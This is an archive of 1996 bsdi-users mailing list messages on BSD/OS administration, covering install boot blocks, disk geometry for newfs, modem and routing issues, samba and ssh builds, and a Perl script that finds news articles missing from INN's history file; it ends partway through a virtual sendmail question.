Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita Cc: Kent Ketell , bsdi-users@BSDI.COM Subject: Re: Install problems Date: Thu, 21 Nov 1996 09:16:17 -0800 At 09:34 AM 11/21/96 -0500, Cat Okita wrote: >On Wed, 20 Nov 1996, Kent Ketell wrote: >> I have an interesting problem... >> >> I have been successful in installing 2.1 on multiple systems >> from various vendors, but am having problems installing on my >> system at home. Here is the scenario: >> >> I boot from the install disk. no problem >> I go through the entire install process. no problem >> I reboot the system. problem... >> >> On reboot, as soon as the system hits the hard disk it looks >> back to the floppy and locks up tight. > >Did you install *bios* boot blocks? That sounds like the error I was >getting when the install defaulted to 'aha' boot blocks... > >Cat Okita >System Administrator, UUNET Canada I am not sure I understand your question. Are you saying that I should NOT be using the 'aha' boot blocks? All of my other systems are using them with no problems, and they have the same types of hardware. -Kent- From VM Thu Nov 21 17:30:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["613" "Thu" "21" "November" "1996" "12:23:37" "-0500" "Cat Okita" "cat@uunet.ca" nil "17" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA14240 for ; Thu, 21 Nov 1996 12:31:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA22456 for bsdi-users-outgoing; Thu, 21 Nov 1996 12:24:16 -0500 (EST) In-Reply-To: <3.0.1.32.19961121090751.00a0ccc0@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM Subject: Re: Install problems Date: Thu, 21 Nov 1996 12:23:37 -0500 On Thu, 21 Nov 1996, Kent Ketell wrote: > I am not sure I understand your question. Are you saying that I should > NOT be using the 'aha' boot blocks? All of my other systems are using > them with no problems, and they have the same types of hardware. Yes. Use the bios boot blocks not the aha boot blocks. I've also seen the same thing, where an 'identical' machine works just fine with the aha boot blocks. I keep on meaning to check the card revs etc, but haven't gotten around to it. Don't forget to have the bios enabled on your scsi controller though... Cat Okita System Administrator, UUNET Canada From VM Thu Nov 21 17:30:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2069" "Thu" "21" "November" "1996" "09:10:47" "-0800" "Greg Shenaut" "greg@mailgate.bogs.org" nil "50" "Re: An easy way to remove a line from a file. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA15328 for ; Thu, 21 Nov 1996 13:10:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA22551 for bsdi-users-outgoing; Thu, 21 Nov 1996 12:43:28 -0500 (EST) Message-Id: <199611211710.JAA06278@myrtle.bogs.org> In-reply-to: Your message of "Thu, 21 Nov 1996 13:16:02 +1100." Reply-To: gkshenaut@ucdavis.edu Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: An easy way to remove a line from a file. Date: Thu, 21 Nov 1996 09:10:47 -0800 Inmessage , Ross Wheeler quoth: " Excuse my ignorance, and I know "purists" hate unnecessary pipes, but " I've seen several replies now with the: " scan original file " extract non-required line(s) " write temp file " rename temp file to original file " " What's wrong with using a pipe to write something like: " " for FILE in `cat filelist` " do " cat $FILE | grep -v $1 > $FILE " echo File $FILE done. " done " " If you were writing to /tmp anyhow, it's not like the pipe is going to " fill up anywhere more critical, and (in my opinion) it's more easily read! " " NOTE: I have not tried this particular example, but the pipe "should" " protect the original file from being overwritten (lost) before the grep " runs, yes? " It also prevents the disasterous situation of two people running your " script on different sessions at the same time, thus clobbering the tmp " file, because the pipe will write a unique intermediate name. Pitty if " they both happen to be working on the same file at the same time though " :-) Obviously, you've never actually tried this--if you do, please make back-up copies of the files first. The reason is that file redirection is done by the shell before the programs are executed, and the first part of output redirection is to truncate the file to 0 length. When cat starts running, this will already have occurred, and the file will be empty. There are at least two ways to do what you suggest, though. The first is to go through the file, in place, and replace the first character of each line with a comment character. If, after time has passed, the file grows inconveniently large, it would be easy to create a new version without comments. The second is to use two file descriptors, both pointing to the file, one for reading and one for writing. Read and write in blocks, always reading ahead. At the end, use ftruncate() to trim off the extra stuff. Don't know how to do it in a shell script, though. -Greg From VM Thu Nov 21 17:30:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1525" "Thu" "21" "November" "1996" "09:27:18" "-0800" "Greg Shenaut" "greg@mailgate.bogs.org" nil "31" "Re: ttys & gettytab " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA15333 for ; Thu, 21 Nov 1996 13:12:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA22566 for bsdi-users-outgoing; Thu, 21 Nov 1996 12:45:53 -0500 (EST) Message-Id: <199611211727.JAA06294@myrtle.bogs.org> In-reply-to: Your message of "Wed, 20 Nov 1996 12:03:18 -0400." Reply-To: gkshenaut@ucdavis.edu Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: ttys & gettytab Date: Thu, 21 Nov 1996 09:27:18 -0800 In message , Jeff Campbell quoth: " On Mon, 16 Sep 1996, Donald Dahlman wrote: " " > Well I have tried many a thing, changing the ttys, and gettytab " > and still cannot get modems to work correctly. " > Unless I change the remote tty01, the gettytab default, and the " > ttys tty01 to all the same thing, I can not establish communication. " > Am I missing something here, I even changed the modem on com port #2 " > to a different type, and the problem contiunes. Any one want to " > donate a ttys, gettytab, and remote the is using a standard com port 2. " > Thanks. " " Not sure how applicable this is, but I fought with a modem " on Com 2 for two days last year, only to discover there was a faulty " pin on the connector inside the case that was causing sporadic behviour. " " Try replacing the MB to port cable. Yes, this could be it. But also make sure you set the line speed on the receiving modem. The symptom for this being your problem is if once you get it working, it works between reboots, but stops working if you power the receiving modem down and up. The only way I know how to do this is to use tip to send "at\r" to the modem at the proper speed. I think there ought to be a way to specify this in gettytab, as an adjunct to the m[012s] parameters. (Something like "M0=atz\r\2at???\r\2", where ??? is any useful mode setting you might want; to be sent after setting the m0 parameters.) Does this capability exist somewhere already? -Greg From VM Thu Nov 21 17:30:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["712" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "34" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA16946 for ; Thu, 21 Nov 1996 14:07:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA22779 for bsdi-users-outgoing; Thu, 21 Nov 1996 13:48:16 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Thu Nov 21 17:30:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["494" "Thu" "21" "November" "1996" "13:52:12" "-0500" "Scott Averbach" "scott@shell.flinet.com" nil "14" "Back-Up radius Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA16951 for ; Thu, 21 Nov 1996 14:08:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA22806 for bsdi-users-outgoing; Thu, 21 Nov 1996 13:52:21 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Scott Averbach Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Back-Up radius Server Date: Thu, 21 Nov 1996 13:52:12 -0500 (EST) I am running radius with all users passwords=UNIX. This runs on our main user machine, where all mail and shell accounts are ( this makes it easy) ... I am wondering how to get a backup server where if the main server is down then all the radius request go on to the next server, the problem I see is they would have to be sharing the password file and the radius users file.... is there any way besides NIS to do this? we are of course running BSDI 2.1 thanks... -Scott From VM Thu Nov 21 17:30:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1406" "Thu" "21" "November" "1996" "13:58:03" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "26" "Re: Newfs for a SCSI Quantum fireball 1080S" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA16955 for ; Thu, 21 Nov 1996 14:09:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA22825 for bsdi-users-outgoing; Thu, 21 Nov 1996 13:58:39 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Tim Keanini cc: bsdi-users@BSDI.COM Subject: Re: Newfs for a SCSI Quantum fireball 1080S Date: Thu, 21 Nov 1996 13:58:03 -0500 (EST) > While we are on the topic, lets talk about geometry for a sec. > I know that 4.4BSD looks at the geometry and trys to optimize... > I did some investigation (with my limited knowledge) and > turned up some things that dont seem right... Almost all modern drives are zone-recorded -- the number of sectors varies from cylinder to cylinder -- and there *is* no simple description of their geometry, at least, none simple enough to fit into the model BSD/OS disk optimization is built around. Moreover, the model isn't exactly right for SCSI disks even without zone recording, because SCSI's invisible bad-block mapping can interfere too. Fortunately, the bottom line is that it doesn't actually matter very much whether the specified geometry matches the real one closely. In fact, most of the optimizations that are truly *useful* on multi-user systems (as opposed to the single-user machines that the Berkeley filesystem was benchmarked on during development) don't care much about the geometry -- things like big blocks, inodes spread over the disk, and attempts to keep files in the vicinity of their directory are all pretty nearly geometry- independent. The further improvements which might be had by knowing the exact geometry are minor. Henry Spencer henry@zoo.toronto.edu From VM Thu Nov 21 17:30:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3139" "Thu" "21" "November" "1996" "10:45:12" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "67" "Re: Newfs for a SCSI Quantum fireball 1080S" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA16959 for ; Thu, 21 Nov 1996 14:10:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA22800 for bsdi-users-outgoing; Thu, 21 Nov 1996 13:51:59 -0500 (EST) Message-Id: <199611211845.KAA16183@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: blast@broder.com, bsdi-users@BSDI.COM Subject: Re: Newfs for a SCSI Quantum fireball 1080S Date: Thu, 21 Nov 1996 10:45:12 -0800 (PST) > > > > > > I am trying to format a 2.1 Gb.SCSI Quantum Fireball 1080s into one > > > partition. > > > > > > Using newfs command, can anyone please tell me the optimum configuration > > > for block and fragment size, number of inode's for that particular > > > drive???? > > > > > > > Typically I just use the defaults for newfs unless I have a > > good reason to change it. > > While we are on the topic, lets talk about geometry for a sec. > I know that 4.4BSD looks at the geometry and trys to > optimize. Bringing on a new drive you 'probe' and take what > probe finds as the truth and you are done with it. Well, > I did some investigation (with my limited knowledge) and > turned up some things that dont seem right. > Ideally, you want to tell BSD/OS what the geometry is and > it will do its best to help you out. > Lets compare two drives, one is a Quantum Fireball ATLAS > XP32150 and the other an IBM DORS-32160 S. > With these drives, I have found that letting scsicmd do its thing > may yield odd results. As you can see, it guessed wrong on the > two IBM drives. I wonder if the drives themselves have embedded the > wrong answer when asked the question by 'scsicmd'? No way for > me to know. > ... > When trying to answer these, looking at the drive specs does not > have a one to one mapping. In most modern drives, number of sectors > per track is always answered as some lower number for the inner > and some high number for the outer. Most of the time written as > ##,###. Most common sectors/track I have seen on BSDi is 2048? > > Anyone want to comment on this. I sure would like to make sure > that I am tuning my disks the right way. Most of my services > that I use BSD for rely on the disk performance so I want to make > sure that I am not doing anything to slow it down. :-) > I tend to avoid using the actual or reported drive geometry and just use a virtual geometry of 64 heads and 32 sectors, and take the number of cylinders as the size of the drive (in MB). That way if one has a 1080 MB drive, the geometry is 1080x64x32. If you don't know the size of the drive then take a look at the boot message (dmesg) and see how many blocks are on the drive. Divide by 2048 and you've got the number of cylinders. You might need to adjust this down slightly if you get errors as some drives seem to reserve some of the reported sectors. Its simple, and the only drawback is that the kernel's idea of how big a cylinder is may not match the drive. On the other hand, most SCSI drives nowadays are zone formatted, which means that the actual goemetry varies across the drive, so a single number for heads and sectors isn't 100% correct either. Note that you have to pay attention to the "million byte == 1MB?" problem as most disk manufacturers seem to think it an advantage to report the size in millions of bytes, rather than in units of 1024*1024 bytes. Most software uses the latter for disk sizes. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Thu Nov 21 17:30:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1085" "Thu" "21" "November" "1996" "11:07:47" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "23" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA16967 for ; Thu, 21 Nov 1996 14:16:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA22858 for bsdi-users-outgoing; Thu, 21 Nov 1996 14:13:03 -0500 (EST) Message-Id: <199611211907.LAA16279@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, steve@prd.co.uk, webb@Telebit.COM Subject: Re: samba + WfWG3.11 Date: Thu, 21 Nov 1996 11:07:47 -0800 (PST) For the record, my samba problems turned out to be that the samba section wasn't in my /etc/rc. So long as users have to edit their /etc/rc to configure their system it would really help if when you upgrade your system that the new /etc/rc wasn't an all or nothing proposition. Given that when I was at IBM 10 years ago we had a way of avoiding putting any machine or site-specific information into /etc/rc* and /etc/netstart (we used the file /etc/rc.config to hold machine and site-specific information) its a shame that BSDI won't do something similar or at least use "gpatch" to update /etc/rc so local changes aren't lost but the new sections do get added. Anyway, its my own fault for not going back and manually updating the files after upgrading to version 2.1. If you're in a similar situation I strongly suggest you manual integrate the any new changes before you get bitten too. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Thu Nov 21 17:30:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["491" "Thu" "21" "November" "1996" "14:38:58" "-0400" "Dan Reish" "dreish@izzy.net" nil "14" "Re: ssh on BSDI 2.1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA17820 for ; Thu, 21 Nov 1996 14:47:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA22930 for bsdi-users-outgoing; Thu, 21 Nov 1996 14:38:38 -0500 (EST) Message-Id: <199611211934.OAA12595@izzy4.izzy.net> Comments: Authenticated sender is Organization: X Market, Inc. MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Dan Reish" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM CC: Mike Frisch Subject: Re: ssh on BSDI 2.1? Date: Thu, 21 Nov 1996 14:38:58 -0400 On 20 Nov 96 at 14:11, Mike Frisch wrote: > I am looking for a precompiled binary of ssh on BSDI 2.1. > They claim support for earlier versions of BSDI, but it doesn't > compile cleanly on 2.1 because of some files not being adjusted > properly by the configuration scripts. I assume you ran into this problem with Ssh 1.2.14. I did, too, and just had to disable X for it to compile. Version 1.2.17 built without problems, with full support for encrypted X forwarding. -- Dan From VM Thu Nov 21 17:31:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["740" "Thu" "21" "November" "1996" "14:27:01" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "37" "Re: Some additional software for BSDI BSD/OS v3.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA21052 for ; Thu, 21 Nov 1996 16:41:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA23332 for bsdi-users-outgoing; Thu, 21 Nov 1996 16:16:43 -0500 (EST) Message-Id: <199611212127.OAA21213@doctor.nl2k.edmonton.ab.ca> In-Reply-To: <199611211549.KAA06530@mongoose.bostic.com> from "Keith Bostic" at Nov 21, 96 10:49:26 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bostic@BSDI.COM (Keith Bostic) Cc: bsdi-users@BSDI.COM Subject: Re: Some additional software for BSDI BSD/OS v3.0 Date: Thu, 21 Nov 1996 14:27:01 -0700 (MST) > > Thanks for the feedback. At this point in the 3.0 release > cycle, we're almost certainly not going to add new software. > I will add your list to the contributed software notes for > consideration next time. > > In particular, can you give me pointers to: > > > Minerva MSQL for 1) RDBMS and 2) WWW work. > > > > MSQL is recommended by Apache. General discussion: Minerva MSQL is $225 Australian FOR commercial purposes, however, Apache DOES come with a ready interface for MSQL. > > And, I'm not sure what you mean by: > > > telnetd needs to be straightened. Needed: records of people who are telneting in and from where. > > > Make needs to be at 3.75. > > GNU make 3.75 will be part of 3.0. :-) > > --keith > > From VM Thu Nov 21 17:31:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["798" "Thu" "21" "November" "1996" "16:22:06" "-0500" "David Miller" "david@sparks.net" nil "27" "Bogus route?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA21057 for ; Thu, 21 Nov 1996 16:42:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA23344 for bsdi-users-outgoing; Thu, 21 Nov 1996 16:22:17 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: David Miller Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Bogus route? Date: Thu, 21 Nov 1996 16:22:06 -0500 (EST) This seems strange to me. I have a 2.1 system configured with a netmask of 255.255.255.224. The IP address is 192.160.1.2 (not really, but you can take the .2). After the system boots I have these routes: 192.160.1/27 link#1 UC 0 0 ef0 192.160.1 link#1 UC 0 0 ef0 I know where the first one is coming from, but how about the second? It makes it really hard to contact IP's like 192.160.1.33 out on the portmaster! If I "route delete -net 192.160.1" the second route is deleted and everything works fine. Confused as usual:) --- David Miller ---------------------------------------------------------------------------- It's *amazing* what one can accomplish when one doesn't know what one can't do! From VM Thu Nov 21 17:31:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3735" "Thu" "21" "November" "1996" "22:39:32" "+0100" "James A. Brister" "brister@vix.com" nil "140" "Re: Inn: articles no longer in history file" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA21623 for ; Thu, 21 Nov 1996 17:01:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA23445 for bsdi-users-outgoing; Thu, 21 Nov 1996 16:41:28 -0500 (EST) Message-Id: <199611212139.WAA16005@velo.pp.vix.com> Organization: Internet Software Consortium Precedence: bulk From: brister@vix.com (James A. Brister) Sender: owner-bsdi-users@lists.gateway.com To: david@isdnet.net Cc: bsdi-users@BSDI.COM Subject: Re: Inn: articles no longer in history file Date: Thu, 21 Nov 1996 22:39:32 +0100 On Thu, 21 Nov 1996 07:30:17 +0100 (MET), david@isdnet.net said: > I have articles which are no longer referenced in the history file. > So, It seems that prevents those articles being expired (and I have 40 000 > articles in misc.jobs.offered). Try the perl script by Harry Bochner called findmissing, which I append here... James -- James Brister brister@vix.com Internet Software Consortium inn@isc.org ------------------------------------------------------------------------------ #!/usr/bin/perl # findmissing # scan news spool, and report articles that are not in the history file. # Written by Harry Bochner, 3/95 # This program may be distributed freely, but please annotate any changes, # and please leave these comments in place. # - change verbose messages to go to stderr: David Barr, 23 Feb 1996 # Adjust the next two lines to the local configuration. $history = '/usr/local/lib/news/history'; $spool= '/var/spool/news'; # Give -v flag for verbose progress report. $verbose = 0; $verbose = shift if $ARGV[0] eq "-v"; chdir($spool) || die "$0: $spool: $!"; # scan the news spool recursively, looking for articles; build the internal # bit string representation that will be checked by check_history. # # NB: This routine assumes that directories never have all-numeric names. # If you want it to understand alt.2600, you'll have to treat that # as a special case. sub scan { local($group, $path, $depth) = @_; local($fn, @dirs, $min, $max, @nums, $size, $str, $dir); $0 = "scanning $group" if $depth <= 2; $dir = $path || "."; unless (opendir(DIR, $dir)) { warn("$0: $dir: $!"); return; } print STDERR "scanning $path\n" if $verbose; $min = $max = 0; while ($fn = readdir(DIR)) { next if $fn =~ /\./ || $fn eq "lost+found"; push(@dirs, $fn), next unless $fn =~ /^\d+$/; $min = $fn if $min == 0 || $min > $fn; $max = $fn if $fn > $max; push(@nums, $fn); } closedir(DIR); if ($min) { $min{$group} = $min; $size = ($max-$min+7) / 8; $str = "\0" x $size; foreach (@nums) { vec($str, $_-$min, 1) = 1; } $arts{$group} = $str; } $group .= "." if $group; $path .= "/" if $path; $depth++; foreach $fn (@dirs) { &scan("$group$fn", "$path$fn", $depth); } } # Scan the history file, and clear the bit flags for all articles found there. sub check_history { local($arts, @arts, $group, $num); print STDERR "scanning history\n" if $verbose; open(IN, "<$history") || die "$0: $history: $!"; while () { @arts = split; shift @arts; shift @arts; # skip first two fields foreach (@arts) { ($group, $num) = split(m,/,); next unless $num; # sanity check $arts++; # clear that bit vec($arts{$group}, $num-$min{$group}, 1) = 0 if defined $min{$group} && $num >= $min{$group}; } print STDERR "$. lines, $arts articles so far\n" if $verbose && $. % 50000 == 0; $0 = "history line $." if $. % 50000 == 0; } close(IN); print STDERR "done reading history, $arts articles\n" if $verbose; } &scan("", "", 0); &check_history; # now check all the bitstrings, and if there are any flags still set, # report that article. print STDERR "checking for missing articles\n" if $verbose; foreach $group (sort keys %arts) { $min = $min{$group}; $str = unpack("b*", $arts{$group}); delete $arts{$group}; delete $min{$group}; # recover memory? next unless $str =~ /1/; $path = ""; for (split(/x*/, $str)) { if ($_) { unless ($path) { $path = $group; $path =~ s,\.,/,g; $0 = "findmissing $group"; } print "$path/$min\n"; } $min++; } } From VM Fri Nov 22 07:18:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["80" "Thu" "21" "November" "1996" "18:07:15" "-0500" "Chip Ach" "chip@harvard.net" nil "6" "perl Curses lib under BSDI..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA24328 for ; Thu, 21 Nov 1996 18:43:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA23902 for bsdi-users-outgoing; Thu, 21 Nov 1996 18:13:01 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chip Ach Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: perl Curses lib under BSDI... Date: Thu, 21 Nov 1996 18:07:15 -0500 (EST) Has anyone gotten the curses perl module to compile under BSDI? Thanks, Chip From VM Fri Nov 22 07:18:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1109" "Thu" "21" "November" "1996" "16:25:59" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "35" "Re: Install problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA24336 for ; Thu, 21 Nov 1996 18:47:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA23935 for bsdi-users-outgoing; Thu, 21 Nov 1996 18:26:22 -0500 (EST) Message-Id: <199611212326.QAA03937@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Thu, 21 Nov 1996 09:16:17 PST." <3.0.1.32.19961121090751.00a0ccc0@popgw.firstdata.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: Cat Okita , bsdi-users@BSDI.COM Subject: Re: Install problems Date: Thu, 21 Nov 1996 16:25:59 -0700 Kent Ketell writes: >At 09:34 AM 11/21/96 -0500, Cat Okita wrote: >>On Wed, 20 Nov 1996, Kent Ketell wrote: >>> I have an interesting problem... >>> >>> I have been successful in installing 2.1 on multiple systems >>> from various vendors, but am having problems installing on my >>> system at home. Here is the scenario: >>> >>> I boot from the install disk. no problem >>> I go through the entire install process. no problem >>> I reboot the system. problem... >>> >>> On reboot, as soon as the system hits the hard disk it looks >>> back to the floppy and locks up tight. >> >>Did you install *bios* boot blocks? That sounds like the error I was >>getting when the install defaulted to 'aha' boot blocks... >> >>Cat Okita >>System Administrator, UUNET Canada > >I am not sure I understand your question. Are you saying that I should >NOT be using the 'aha' boot blocks? All of my other systems are using >them with no problems, and they have the same types of hardware. > >-Kent- Yes, you should use the bios boot blocks with any controller that will identify your boot drive as C: -Bill N From VM Fri Nov 22 07:18:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2860" "Thu" "21" "November" "1996" "16:52:45" "-0700" "Luc Croteau" "lcroteau@ls.barrhead.ab.ca" nil "64" "Virtual sendmail" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA24608 for ; Thu, 21 Nov 1996 19:02:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA24032 for bsdi-users-outgoing; Thu, 21 Nov 1996 18:51:15 -0500 (EST) Message-Id: <1.5.4.32.19961121235245.006ab29c@ls.barrhead.ab.ca> X-Sender: lcroteau@ls.barrhead.ab.ca X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Luc Croteau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@gateway.com Subject: Virtual sendmail Date: Thu, 21 Nov 1996 16:52:45 -0700 The prize for the right answer is,for real, a can of REAL canadian maple syrup and I will even pay for shipping, directly from snowland. I am running BSDI 2.1 with sendmail 8.8.3. I tried 8.8.3 with the patches from BSDI as well as recompiling a new one from ftp.cc.berkeley.edu The machine I am using is main.ls.barrhead.ab.ca (real domain) the virtual domain name is lands.ab.ca If I telnet to lands.ab.ca 25 (virtual domain) I get sendmail answering (on real domain) so I know that DNS is working properly. Now here is my problem. I can only send E-mail to users that have actual mailboxes on ls.barrhead.ab.ca (real domain) for instance costcutter has a mailbox on ls.barrhead.ab.ca if I send email to costcutter@lands.ab.ca then it goes to costcutter@ls.barrhead.ab.ca which is contrary to the virtual txt file I created. Sample of configs below. Any suggestions would be greatly appreciated and the right answer will really get a can of REAL canadian maple syrup. I created a file called virtual.txt (copy below) # I inserted the following comments for information purpose. # Once this file,s edited, it just needs to be 